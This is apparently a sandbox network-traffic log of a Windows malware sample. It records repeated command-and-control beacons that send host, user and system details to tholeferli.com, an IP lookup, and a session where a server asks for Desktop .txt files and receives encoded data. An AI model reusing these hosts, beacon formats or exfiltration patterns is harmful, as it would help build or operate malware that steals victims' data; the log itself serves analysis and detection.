Jul 22, 2021 16:11:05.885163069 CEST	8.8.8.8	192.168.2.22	0x260d	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		54.235.121.178	A (IP address)	IN (0x0001)
Jul 22, 2021 16:11:05.885163069 CEST	8.8.8.8	192.168.2.22	0x260d	No error (0)	elb097307-934924932.us-east-1.elb.amazonaws.com		54.225.245.108	A (IP address)	IN (0x0001)
Jul 22, 2021 16:11:06.417241096 CEST	8.8.8.8	192.168.2.22	0x98df	No error (0)	pospvisis.com		95.213.179.67	A (IP address)	IN (0x0001)
Jul 22, 2021 16:11:07.916183949 CEST	8.8.8.8	192.168.2.22	0x84b4	No error (0)	pospvisis.com		95.213.179.67	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

api.ipify.org

tholeferli.com

s0lom0n.ru

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49167	54.235.88.121	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:03.589586973 CEST	0	OUT	GET / HTTP/1.1 Accept: / User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: api.ipify.org Cache-Control: no-cache
Jul 22, 2021 16:11:03.760507107 CEST	1	IN	HTTP/1.1 200 OK Server: Cowboy Connection: keep-alive Content-Type: text/plain Vary: Origin Date: Thu, 22 Jul 2021 14:11:03 GMT Content-Length: 10 Via: 1.1 vegur Data Raw: 38 34 2e 31 37 2e 35 32 2e 38 Data Ascii: 84.17.52.8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49168	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:04.034487963 CEST	1	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:04.203983068 CEST	2	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 33 63 0d 0a 41 47 54 5a 41 52 68 41 45 67 34 4f 43 6b 42 56 56 51 6c 4b 46 68 55 58 53 68 52 55 43 41 39 56 54 52 49 4a 45 42 77 65 51 77 31 4f 43 42 38 63 43 52 35 55 48 77 49 66 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: 3cAGTZARhAEg4OCkBVVQlKFhUXShRUCA9VTRIJEBweQw1OCB8cCR5UHwIfBw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.22	49177	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:07.833553076 CEST	302	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:07.989145994 CEST	307	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:07 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 42 4d 4e 59 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cBMNYARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.22	49267	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:53.939415932 CEST	407	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:54.094969988 CEST	407	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 41 5a 41 5a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cAZAZARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.22	49268	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:54.388947964 CEST	408	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:54.559727907 CEST	409	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 59 42 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZYBAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.22	49269	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:54.844944954 CEST	409	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:55.013587952 CEST	410	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 42 42 59 59 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cBBYYARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.22	49270	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:55.295556068 CEST	410	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:55.465261936 CEST	411	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 59 56 45 42 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cYVEBARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.22	49271	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:55.757966042 CEST	412	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:55.931896925 CEST	412	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 41 5a 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZAZAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	192.168.2.22	49272	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:56.205395937 CEST	413	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:56.361907959 CEST	413	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 41 43 58 5a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cACXZARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.2.22	49273	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:56.635381937 CEST	414	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:56.791811943 CEST	414	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 48 46 55 53 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cHFUSARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	192.168.2.22	49274	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:57.102598906 CEST	415	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:57.259892941 CEST	415	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 51 4d 4e 4a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cQMNJARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	192.168.2.22	49275	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:57.540949106 CEST	416	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:57.710549116 CEST	416	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 41 47 54 5a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cAGTZARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	192.168.2.22	49276	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:57.977777958 CEST	417	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:58.146398067 CEST	418	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 41 5a 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMAZNARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	95.213.179.67	80	192.168.2.22	49178	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:08.151878119 CEST	307	IN	Data Raw: 00 27 00 00 00 01 00 00 00 15 25 75 73 65 72 70 72 6f 66 69 6c 65 25 5c 44 65 73 6b 74 6f 70 00 00 00 05 2a 2e 74 78 74 05 Data Ascii: '%userprofile%\Desktop*.txt
Jul 22, 2021 16:11:08.152290106 CEST	307	OUT	Data Raw: 0c 00 0f 0a 0b 0a 0b 0a Data Ascii:
Jul 22, 2021 16:11:08.152462006 CEST	307	OUT	Data Raw: 00 00 00 14 09 0a 0a 0a 1a 7a 65 79 Data Ascii: zey
Jul 22, 2021 16:11:08.152494907 CEST	307	OUT	Data Raw: 7a 7c 63 79 63 79 24 69 65 67 30 32 3a Data Ascii: z\|cycy$ieg02:
Jul 22, 2021 16:11:08.152674913 CEST	307	OUT	Data Raw: 00 00 00 0b 0a 0a 0a 0a Data Ascii:
Jul 22, 2021 16:11:08.152766943 CEST	307	OUT	Data Raw: 0d 7a 65 7a 7a 7f 79 62 Data Ascii: zezzyb
Jul 22, 2021 16:11:08.270020008 CEST	308	IN	Data Raw: 00 00 00 04 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
110	192.168.2.22	49277	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:58.418962955 CEST	418	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:58.575879097 CEST	419	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 42 4e 4d 59 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cBNMYARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
111	192.168.2.22	49278	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:58.852397919 CEST	419	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:59.010420084 CEST	420	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4e 48 53 4d 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cNHSMARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
112	192.168.2.22	49279	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:59.314548969 CEST	421	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:00.484059095 CEST	421	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 41 4b 50 5a 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cAKPZARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
113	192.168.2.22	49280	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:00.777880907 CEST	422	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:12:00.946420908 CEST	422	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:12:00 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 46 4a 51 55 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cFJQUARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
114	192.168.2.22	49281	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:12:01.224749088 CEST	423	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
